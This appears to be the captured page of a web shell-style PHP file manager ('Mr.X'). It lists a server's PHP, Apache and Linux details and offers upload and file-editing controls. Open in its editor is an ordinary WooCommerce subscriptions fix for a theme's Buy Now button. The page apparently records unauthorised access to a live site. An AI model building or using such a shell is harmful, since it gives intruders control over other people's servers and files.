🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:plugin-woocommerce-subscriptions.js
/** * Rewrite Buy Now Button (Xstore theme js function) fix for woocommerce-subscriptions plugin compatibility */ ;(function ($) { "use strict"; /** * Buy Now Button * * @version 1.0.1 * @since 7.0.3 */ // if (etConfig['woocommerceSettings']['is_woocommerce'] && etConfig['woocommerceSettings']['buy_now_btn']) { etTheme.autoinit.buyNowBtn = etTheme.buyNowBtn = function () { // old code from parent theme // $(document).on('click', '.et-single-buy-now', function(e){ // $(this).closest('form').append('<input type="hidden" name="et_buy_now" value="true">'); // }); // new code from child theme (fix for woo subscription plugin) $(document).on('click', '.et-single-buy-now', function(e){ if ( $(this).hasClass('et-buy-now-clicked') ) { e.preventDefault(); return; } $(this).closest('form').append('<input type="hidden" name="et_buy_now" value="true">'); if (!!$(this).data('builder-element')) $(this).closest('form').append('<input type="hidden" name="et_buy_now_builder_element" value="true">'); if ( $(this).parents('.product-type-subscription').length ) { e.preventDefault(); $(this).closest('form').find('[name="add-to-cart"]').trigger('click'); } $(this).addClass('et-buy-now-clicked'); }); };// End of buyNowBtn // }; })(jQuery);
Save Changes
Cancel
Create New File
Create New Folder